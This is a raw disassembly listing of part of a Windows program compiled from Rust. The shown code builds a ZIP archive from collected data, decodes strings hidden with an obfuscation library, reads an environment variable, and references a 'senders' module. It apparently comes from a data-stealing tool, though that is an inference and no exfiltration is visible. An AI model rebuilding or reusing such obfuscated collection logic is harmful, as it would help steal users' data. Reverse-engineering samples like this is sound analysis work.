mov rax, qword [r14 + 8]
mov dword [rax + r12], 0x4034b50
cmp rbp, rdx
jbe 0x1400734f0
mov qword [r14 + 0x10], rbp
mov rdx, rbp
jmp 0x1400734f4
mov rdx, qword [r14 + 0x10]
mov qword [r14 + 0x18], rbp
mov rax, r12
shr rax, 0x20
mov esi, 0x14
mov eax, 0x2d
cmovne esi, eax
mov r8, rbp
add r8, 2
cmovb r8, r15
mov rax, qword [r14]
cmp r8, rax
jbe 0x14007352a
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073563
mov r8, rbp
sub r8, rdx
jbe 0x140073580
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rbp
jmp 0x140073583
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, r12
sub r8, rdx
ja 0x1400734bb
jmp 0x1400734d0
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rbp
sub r8, rdx
ja 0x140073532
nop word [rax + rax]
mov rbp, rdx
mov rax, qword [r14 + 8]
mov word [rax + r12 + 4], si
lea rsi, [r12 + 6]
cmp rsi, rbp
jbe 0x14007359b
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], rsi
cmp rdi, 8
mov rdx, qword [rsp + 0xe0]
jae 0x140073660
test rdi, rdi
je 0x1400736f0
cmp byte [rdx + rdi - 1], 0
js 0x1400736b0
mov rax, rdi
dec rax
je 0x1400736f0
cmp byte [rdx + rdi - 2], 0
js 0x1400736b0
mov rax, rdi
add rax, 0xfffffffffffffffe
je 0x1400736f0
cmp byte [rdx + rdi - 3], 0
js 0x1400736b0
mov rax, rdi
add rax, 0xfffffffffffffffd
je 0x1400736f0
cmp byte [rdx + rdi - 4], 0
js 0x1400736b0
mov rax, rdi
add rax, 0xfffffffffffffffc
je 0x1400736f0
cmp byte [rdx + rdi - 5], 0
js 0x1400736b0
mov rax, rdi
add rax, 0xfffffffffffffffb
je 0x1400736f0
cmp byte [rdx + rdi - 6], 0
js 0x1400736b0
mov rax, rdi
add rax, 0xfffffffffffffffa
je 0x1400736f0
cmp byte [rdx + rdi - 7], 0
js 0x1400736b0
mov rax, rdi
add rax, 0xfffffffffffffff9
je 0x1400736f0
jmp 0x1400736b0
test qword [rdx], rbx
jne 0x1400736b0
lea rax, [rdx + 7]
and rax, 0xfffffffffffffff8
sub rax, rdx
mov ecx, 8
cmove rax, rcx
lea rcx, [rdi - 8]
cmp rax, rcx
jae 0x14007369f
nop word cs:[rax + rax]
test qword [rdx + rax], rbx
jne 0x1400736b0
add rax, 8
cmp rax, rcx
jb 0x140073690
test qword [rdx + rcx], rbx
je 0x1400736f0
nop word cs:[rax + rax]
mov r8, rsi
add r8, 2
cmovb r8, r15
mov rax, qword [r14]
mov rdx, qword [r14 + 0x10]
cmp r8, rax
jbe 0x1400736d2
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073739
mov r8, rsi
sub r8, rdx
jbe 0x140073750
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rsi
jmp 0x140073753
mov r8, rsi
add r8, 2
cmovb r8, r15
mov rax, qword [r14]
mov rdx, qword [r14 + 0x10]
cmp r8, rax
jbe 0x140073716
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140074180
mov r8, rsi
sub r8, rdx
jbe 0x140074198
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rsi
jmp 0x14007419b
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rsi
sub r8, rdx
ja 0x1400736da
nop dword [rax]
mov rsi, rdx
mov rax, qword [r14 + 8]
mov word [rax + r12 + 6], 0x800
lea rbp, [r12 + 8]
cmp rbp, rsi
jbe 0x14007376d
mov qword [r14 + 0x10], rbp
mov rsi, rbp
add rsi, 2
mov r8, rsi
cmovb r8, r15
mov qword [r14 + 0x18], rbp
mov rax, qword [r14]
mov rdx, qword [r14 + 0x10]
cmp r8, rax
jbe 0x140073796
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073812
mov r8, rbp
sub r8, rdx
jbe 0x1400737b3
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rbp
mov rdx, rbp
mov rax, qword [r14 + 8]
mov word [rax + rbp], 0
cmp rsi, rdx
jbe 0x1400737d0
mov qword [r14 + 0x10], rsi
mov rdx, rsi
jmp 0x1400737d4
mov rdx, qword [r14 + 0x10]
mov qword [r14 + 0x18], rsi
mov r8, rsi
add r8, 2
cmovb r8, r15
mov rax, qword [r14]
cmp r8, rax
jbe 0x1400737f6
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x14007382c
mov r8, rsi
sub r8, rdx
jbe 0x140073840
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rsi
jmp 0x140073843
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rbp
sub r8, rdx
ja 0x14007379e
jmp 0x1400737b3
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rsi
sub r8, rdx
ja 0x1400737fe
mov rsi, rdx
mov rax, qword [r14 + 8]
mov rcx, qword [rsp + 0x3a8]
mov word [rax + rbp + 2], cx
lea rbx, [rbp + 4]
cmp rbx, rsi
jbe 0x140073870
mov qword [r14 + 0x10], rbx
mov rdx, rbx
jmp 0x140073874
mov rdx, qword [r14 + 0x10]
mov qword [r14 + 0x18], rbx
mov r8, rbx
add r8, 2
cmovb r8, r15
mov rax, qword [r14]
cmp r8, rax
jbe 0x140073896
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x1400738b2
mov r8, rbx
sub r8, rdx
jbe 0x1400738d0
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rbx
jmp 0x1400738d3
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rbx
sub r8, rdx
ja 0x14007389e
nop word cs:[rax + rax]
mov rbx, rdx
mov rax, qword [r14 + 8]
mov ecx, dword [rsp + 0x3a0]
mov word [rax + rbp + 4], cx
lea rsi, [rbp + 6]
cmp rsi, rbx
jbe 0x140073900
mov qword [r14 + 0x10], rsi
mov rdx, rsi
jmp 0x140073904
mov rdx, qword [r14 + 0x10]
mov qword [r14 + 0x18], rsi
mov r8, rsi
add r8, 4
cmovb r8, r15
mov rax, qword [r14]
cmp r8, rax
jbe 0x140073926
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073942
mov r8, rsi
sub r8, rdx
jbe 0x140073960
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rsi
jmp 0x140073963
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rsi
sub r8, rdx
ja 0x14007392e
nop word cs:[rax + rax]
mov rsi, rdx
mov rax, qword [r14 + 8]
mov dword [rax + rbp + 6], 0
lea rbx, [rbp + 0xa]
cmp rbx, rsi
jbe 0x140073990
mov qword [r14 + 0x10], rbx
mov rdx, rbx
jmp 0x140073994
mov rdx, qword [r14 + 0x10]
mov qword [r14 + 0x18], rbx
mov r8, rbx
add r8, 4
cmovb r8, r15
mov rax, qword [r14]
cmp r8, rax
jbe 0x1400739ba
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073a62
mov qword [rsp + 0xe8], r13
mov r8, rbx
mov r13, 0xffffffffffffffff
sub r8, rdx
jbe 0x1400739f0
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rbx
jmp 0x1400739f3
mov rbx, rdx
mov rax, qword [r14 + 8]
mov dword [rax + rbp + 0xa], 0
lea r15, [rbp + 0xe]
cmp r15, rbx
jbe 0x140073a20
mov qword [r14 + 0x10], r15
mov rdx, r15
jmp 0x140073a24
mov rdx, qword [r14 + 0x10]
mov qword [r14 + 0x18], r15
mov r8, r15
add r8, 4
cmovb r8, r13
mov rax, qword [r14]
cmp r8, rax
jbe 0x140073a46
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073a73
mov r8, r15
sub r8, rdx
jbe 0x140073a90
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], r15
jmp 0x140073a93
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
jmp 0x1400739ba
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, r15
sub r8, rdx
ja 0x140073a4e
nop word [rax + rax]
mov r15, rdx
mov rax, qword [r14 + 8]
mov dword [rax + rbp + 0xe], 0
lea rsi, [rbp + 0x12]
cmp rsi, r15
jbe 0x140073ac0
mov qword [r14 + 0x10], rsi
mov rdx, rsi
jmp 0x140073ac4
mov rdx, qword [r14 + 0x10]
movabs r15, 0x8000000000000000
mov qword [r14 + 0x18], rsi
mov r8, rsi
add r8, 2
cmovb r8, r13
mov rax, qword [r14]
cmp r8, rax
jbe 0x140073af0
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073b0c
mov r8, rsi
sub r8, rdx
jbe 0x140073b20
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rsi
jmp 0x140073b23
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rsi
sub r8, rdx
ja 0x140073af8
mov rsi, rdx
mov rax, qword [r14 + 8]
mov word [rax + rbp + 0x12], di
lea rbx, [rbp + 0x14]
cmp rbx, rsi
jbe 0x140073b40
mov qword [r14 + 0x10], rbx
mov rdx, rbx
jmp 0x140073b44
mov rdx, qword [r14 + 0x10]
mov qword [r14 + 0x18], rbx
mov r8, rbx
add r8, 2
cmovb r8, r13
mov rax, qword [r14]
cmp r8, rax
jbe 0x140073b66
sub r8, rdx
sub rax, rdx
cmp rax, r8
jb 0x140073b82
mov r8, rbx
sub r8, rdx
jbe 0x140073ba0
add rdx, qword [r14 + 8]
mov rcx, rdx
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rbx
jmp 0x140073ba3
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rbx
sub r8, rdx
ja 0x140073b6e
nop word cs:[rax + rax]
mov rbx, rdx
mov rax, qword [r14 + 8]
mov word [rax + rbp + 0x14], 0
add rbp, 0x16
cmp rbp, rbx
jbe 0x140073bbb
mov qword [r14 + 0x10], rbp
mov qword [r14 + 0x18], rbp
test rdi, rdi
je 0x140073c2d
mov rbx, rbp
add rbx, rdi
mov r8, rbx
cmovb r8, r13
mov rax, qword [r14]
mov rsi, qword [r14 + 0x10]
cmp r8, rax
jbe 0x140073bec
sub r8, rsi
sub rax, rsi
cmp rax, r8
jb 0x140074160
mov r8, rbp
sub r8, rsi
jbe 0x140073c09
add rsi, qword [r14 + 8]
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov qword [r14 + 0x10], rbp
mov rsi, rbp
add rbp, qword [r14 + 8]
mov rcx, rbp
mov rdx, qword [rsp + 0xe0]
mov r8, rdi
call sym.memcpy
cmp rbx, rsi
jbe 0x140073c29
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rbx
mov rax, qword [rsp + 0x128]
mov rsi, qword [rax + 0x18]
mov qword [rsp + 0x168], rsi
mov qword [rsp + 0x170], 0
mov rcx, qword [0x1404a5138]
test rcx, rcx
je 0x140074149
xor eax, eax
test cl, 2
mov r13, qword [rsp + 0xe8]
mov r14, qword [rsp + 0xe0]
je 0x140073c8a
mov rax, qword [0x1404a5138]
test rax, rax
je 0x140074156
shr eax, 0xa
and eax, 1
mov dword [rsp + 0x158], eax
mov dword [rsp + 0x15c], 0
mov qword [rsp + 0x160], 0
mov rbx, qword [rsp + 0x100]
cmp rbx, qword [rsp + 0xf0]
jne 0x140073cc7
lea rcx, [rsp + 0xf0]
call sym.alloc::raw_vec::RawVec_T_A_::grow_one::ha580e4b91a74bdbf
mov rax, qword [rsp + 0xf8]
imul rcx, rbx, 0xa8
mov qword [rax + rcx], rdi
mov qword [rax + rcx + 8], r14
mov qword [rax + rcx + 0x10], rdi
mov qword [rax + rcx + 0x18], 0
mov qword [rax + rcx + 0x20], 1
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [rax + rcx + 0x28], xmm0
mov qword [rax + rcx + 0x38], 1
movaps xmm0, xmmword [rsp + 0x4a0]
movups xmmword [rax + rcx + 0x40], xmm0
mov qword [rax + rcx + 0x50], 1
mov qword [rax + rcx + 0x58], 0
mov rdx, qword [rsp + 0x1c8]
mov qword [rax + rcx + 0x60], rdx
movaps xmm0, xmmword [rsp + 0x490]
movups xmmword [rax + rcx + 0x68], xmm0
mov qword [rax + rcx + 0x78], r12
mov qword [rax + rcx + 0x80], 0
mov qword [rax + rcx + 0x88], rsi
mov word [rax + rcx + 0x90], 0
movabs rdx, 0x81a4000000000000
mov qword [rax + rcx + 0x94], rdx
mov dword [rax + rcx + 0x9c], 0x3000000
mov byte [rax + rcx + 0xa0], 0x2e
inc rbx
mov qword [rsp + 0x100], rbx
lea rcx, [rsp + 0x30]
lea rbx, [rsp + 0x120]
mov rdx, rbx
xor r8d, r8d
call sym.zip::write::GenericZipWriter_W_::switch_to::h4a3e817625ed918e
mov rsi, qword [rsp + 0x30]
cmp rsi, 4
jne 0x140075e4a
mov byte [rsp + 0x178], 1
mov rdi, qword [r13 + 0x20]
mov rsi, qword [r13 + 0x28]
test rsi, rsi
je 0x1400733b0
js 0x140075e45
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdx, rsi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075ee5
mov r14, rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sym.memcpy
mov rbp, r14
mov rdi, rsi
jmp 0x140073e34
cmp byte [r13 + 0x10], 0x23
jne 0x140075e0b
cmp byte [rsp + 0x178], 0
je case.default.0x140073e6e
mov rax, qword [rsp + 0x120]
xor rax, r15
cmp rax, 4
mov ecx, 2
cmovae rax, rcx
lea rcx, [0x140397d9c]
movsxd rdx, dword [rcx + rax*4]
add rdx, rcx
lea rax, sym._ZN4core3ptr135drop_in_place_LT_flate2..deflate..write..DeflateEncoder_LT__RF_mut_u20_std..io..cursor..Cursor_LT_alloc..vec..V
mov rcx, rbx
jmp rdx
mov r8d, 0x1c
mov cl, 0xb
lea rdx, str.ZipWriter_was_already_closedUnsupported_compression
call sym.std::io::error::Error::new::hfd99a5dbc0d7cde5
mov r13, rax
and eax, 3
lea rcx, [0x140397dac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov r8d, 0x18
mov cl, 0x27
lea rdx, str.No_file_has_been_started
call sym.std::io::error::Error::new::hfd99a5dbc0d7cde5
mov r13, rax
and eax, 3
lea rcx, [0x140397dac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
call sym.std_detect::detect::cache::detect_and_initialize::hfe122b35fe975782
mov rcx, rax
jmp 0x140073c5d
call sym.std_detect::detect::cache::detect_and_initialize::hfe122b35fe975782
jmp 0x140073c84
mov rcx, r14
mov rdx, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rsi, qword [r14 + 0x10]
mov r8, rbp
sub r8, rsi
ja 0x140073bf4
jmp 0x140073c09
mov rcx, r14
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h004f958d7b3f8117
mov rdx, qword [r14 + 0x10]
mov r8, rsi
sub r8, rdx
ja 0x140073722
mov rsi, rdx
mov rax, qword [r14 + 8]
mov word [rax + r12 + 6], 0
lea rbp, [r12 + 8]
cmp rbp, rsi
ja 0x140073769
jmp 0x14007376d
lea rcx, [rsp + 0x30]
lea rsi, [rsp + 0xf0]
mov rdx, rsi
call sym.zip::write::ZipWriter_W_::finalize::ha0d8e9af4c4536ee
mov rax, qword [rsp + 0x30]
cmp rax, 4
jne 0x14007622c
mov rcx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x120], r15
cmp rcx, qword [rsp + 0x320]
jne 0x140076247
mov r12, qword [rax + 8]
mov rdi, qword [rax + 0x10]
test rdi, rdi
je 0x140074239
js 0x140075f67
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdx, rdi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075ed8
mov r14, rax
mov rbx, rdi
jmp 0x140074241
mov r14d, 1
xor ebx, ebx
mov rcx, r14
mov rdx, r12
mov r8, rdi
call sym.memcpy
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], r14
mov qword [rsp + 0x230], rdi
mov rax, r15
cmp qword [rsp + 0x120], r15
lea rbx, [rsp + 0x120]
je 0x14007440f
lea rcx, [rsp + 0x2b0]
lea rdx, [rsp + 0xf0]
call sym.zip::write::ZipWriter_W_::finalize::ha0d8e9af4c4536ee
cmp dword [rsp + 0x2b0], 4
je 0x140074407
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x1e0], xmm0
lea rax, [0x1404a5150]
mov qword [rsp + 0x2e8], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x250], rax
lea rax, [sym.__zip::result::ZipError_as_core::fmt::Debug_::fmt::he4e70f7715f31f88]
mov qword [rsp + 0x258], rax
lea rax, str.ZipWriter_drop_failed:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x250]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x2e8]
lea rdx, [rsp + 0x30]
call sym.__std::io::stdio::Stderr_as_std::io::Write_::write_fmt::h035d5c98cc8ba719
mov rdi, rax
and eax, 3
cmp eax, 1
jne 0x140074396
mov r14, qword [rdi - 1]
mov rbx, qword [rdi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x140074357
mov rcx, r14
call rax
dec rdi
cmp qword [rbx + 8], 0
je 0x14007437d
cmp qword [rbx + 0x10], 0x11
jb 0x14007436c
mov r14, qword [r14 - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, r14
call fcn.14021a7bc
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
lea rbx, [rsp + 0x120]
cmp qword [rsp + 0x1e0], 0
jne 0x140074407
mov rdi, qword [rsp + 0x1e8]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x140074407
mov r14, qword [rdi - 1]
mov rbx, qword [rdi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x1400743c8
mov rcx, r14
call rax
dec rdi
cmp qword [rbx + 8], 0
je 0x1400743ee
cmp qword [rbx + 0x10], 0x11
jb 0x1400743dd
mov r14, qword [r14 - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, r14
call fcn.14021a7bc
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
lea rbx, [rsp + 0x120]
mov rax, qword [rsp + 0x120]
xor rax, r15
cmp rax, 4
mov ecx, 2
cmovb rcx, rax
cmp rcx, 2
jb 0x140074534
jne 0x1400744e6
cmp qword [rsp + 0x150], 0
je 0x1400744a1
mov rcx, rbx
call sym.flate2::zio::Writer_W_D_::finish::h985a34750eae5460
mov rdi, rax
and eax, 3
cmp eax, 1
jne 0x1400744a1
mov r14, qword [rdi - 1]
mov rbx, qword [rdi + 7]
mov rax, qword [rbx]
test rax, rax
je 0x140074462
mov rcx, r14
call rax
dec rdi
cmp qword [rbx + 8], 0
je 0x140074488
cmp qword [rbx + 0x10], 0x11
jb 0x140074477
mov r14, qword [r14 - 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, r14
call fcn.14021a7bc
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
lea rbx, [rsp + 0x120]
mov rdi, qword [rsp + 0x138]
mov r8, qword [rdi + 0x10060]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov r8, qword [rdi + 0x10048]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov r8, qword [rdi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x14007450b
lea rbx, [rsp + 0x128]
mov rcx, rbx
call sym.__bzip2::write::BzEncoder_W__as_core::ops::drop::Drop_::drop::hfaf4b3ac9052a701
mov rcx, qword [rsp + 0x140]
call sym.BZ2_bzCompressEnd
mov rdi, qword [rsp + 0x140]
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, rdi
call fcn.14021a7bc
cmp qword [rbx], 0
je 0x140074534
mov r8, qword [rbx + 8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rdi, qword [rsp + 0x100]
test rdi, rdi
je 0x1400745d1
mov rbx, qword [rsp + 0xf8]
add rbx, 0x50
jmp 0x14007456c
add rbx, 0xa8
dec rdi
je 0x1400745d1
cmp qword [rbx - 0x50], 0
je 0x140074585
mov r8, qword [rbx - 0x48]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rbx - 0x38], 0
je 0x14007459e
mov r8, qword [rbx - 0x30]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rbx - 0x20], 0
je 0x1400745b7
mov r8, qword [rbx - 0x18]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rbx - 8], 0
je 0x140074560
mov r8, qword [rbx]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x140074560
cmp qword [rsp + 0xf0], 0
je 0x1400745f2
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x108], 0
mov rdi, qword [rsp + 0x1d8]
je 0x14007461b
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x180], 0
je 0x14007463c
mov r8, qword [rsp + 0x188]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x230], 0x7800
jae 0x1400746f0
cmp qword [rsp + 0x220], 0
je 0x14007466f
mov r8, qword [rsp + 0x228]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsp + 0x310], 0
je 0x140074690
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0x308]
call fcn.14021a7bc
test rdi, rdi
je 0x140074748
mov rax, qword [rsp + 0x1c0]
lea rsi, [rax + 0x20]
jmp 0x1400746bd
add rsi, 0x30
dec rdi
je 0x140074748
cmp qword [rsi - 0x20], 0
je 0x1400746d6
mov r8, qword [rsi - 0x18]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
cmp qword [rsi - 8], 0
je 0x1400746b0
mov r8, qword [rsi]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
jmp 0x1400746b0
lea rax, [0x1404a5030]
mov qword [rsp + 0x180], rax
mov rax, qword [0x1404a5048]
cmp rax, 3
jne 0x14007476d
mov r15, qword [0x1404a5038]
mov rdi, qword [0x1404a5040]
test rdi, rdi
je 0x1400747bf
js 0x140075e45
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdx, rdi
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x140075ed8
mov r14, rax
jmp 0x1400747c5
cmp qword [rsp + 0x318], 0
je 0x140075d25
mov rcx, qword [0x1404a5110]
xor edx, edx
mov r8, qword [rsp + 0x1c0]
jmp 0x140075d20
lea rax, [rsp + 0x180]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x30], rsi
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001flazy_static_1.5.0_srcinline_lazy.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1404a5048]
lea r9, [0x1403bf2f0]
lea r8, [rsp + 0x30]
xor edx, edx
call sym.std::sys::sync::once::queue::Once::call::hb4e640d06204af1e
mov r15, qword [0x1404a5038]
mov rdi, qword [0x1404a5040]
test rdi, rdi
jne 0x140074723
mov r14d, 1
mov rcx, r14
mov rdx, r15
mov r8, rdi
call sym.memcpy
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], rdi
lea rcx, [rsp + 0x30]
call sym.__hello::senders::StorageType_as_core::convert::From_alloc::string::String__::from::h66bb1b1636bc2828
mov ebp, eax
lea rax, [0x1403aed38]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0xe089b75a
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h992785c700b1e41c
movabs rcx, 0x22b8a33617f8711b
xor rcx, qword [rax]
mov qword [rsp + 0x250], rcx
lea rcx, [rsp + 0x30]
lea rdi, [rsp + 0x250]
mov r8d, 8
mov rdx, rdi
call sym.std::env::_var_os::hfdaca986d527d091
mov rdx, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x1400762cc
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
cmp byte [rsp + 0x48], 0
je 0x1400749e9
mov qword [rsp + 0x180], rdx
mov qword [rsp + 0x188], rcx
mov qword [rsp + 0x190], rax
lea rax, [0x1403b7332]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x30], 0x5199b8c0
mov edx, dword [rsp + 0x30]
call sym.obfstr::xref::inner::h1e7300dc7a69705f
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
mov edx, eax
shr edx, 8
xor al, 0x7d
xor dl, 0xb3
xor cl, 0x88
movzx ecx, cl
mov byte [rsp + 0x2ea], cl
shl ecx, 0x10
movzx edx, dl
shl edx, 8
or edx, ecx
movzx eax, al
or eax, edx
mov word [rsp + 0x2e8], ax
lea rax, [rsp + 0x2e8]
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 3
lea rax, [rsp + 0x180]
mov qword [rsp + 0xf0], rax
lea r13, [sym._ZN60__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_3fmt17h0a364b3164a9cb6eE.2149]
mov qword [rsp + 0xf8], r13
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x100], rax
lea rax, [sym.__T_as_core::fmt::Display_::fmt::h0c1c1885e94652ba]
mov qword [rsp + 0x108], rax
lea rax, [0x1403bdc10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 2
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x30]
call sym.alloc::fmt::format::format_inner::hb636fee45517645d
cmp qword [rsp + 0x180], 0
je 0x1400749a0
mov r8, qword [rsp + 0x188]
mov rcx, qword [0x1404a5110]
xor edx, edx
call fcn.14021a7bc
mov rbx, qword [rsp + 0x1e0]
mov r14, qword [rsp + 0x1e8]
mov r15, qword [rsp + 0x1f0]
test r15, r15
je 0x140074aa8
js 0x140075e45
movzx eax, byte [0x1404a5170]
xor ecx, ecx
mov rdx, r15
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h5a8f05db6a24897c
test rax, rax
je 0x14007645a
mov r12, rax
jmp 0x140074aae
test rax, rax
je 0x140074872
movzx r8d, byte [rsp + 0x4f]
shl r8d, 0x10
movzx r9d, word [rsp + 0x4d]
or r9d, r8d
shl r9, 0x20
mov r8d, dword [rsp + 0x49]
or r8, r9
lea r9, [rcx + rax]
mov r11, rcx
jmp 0x140074a3c
add r11, 2
cmp r10, r9
cmovne r10, r11
nop word cs:[rax + rax]
mov r11, r10
cmp r10, r9
je 0x140074872
lea r10, [r11 + 1]
movzx ebx, byte [r11]
test bl, bl
jns 0x140074a30
cmp bl, 0xe0
jb 0x140074a1a
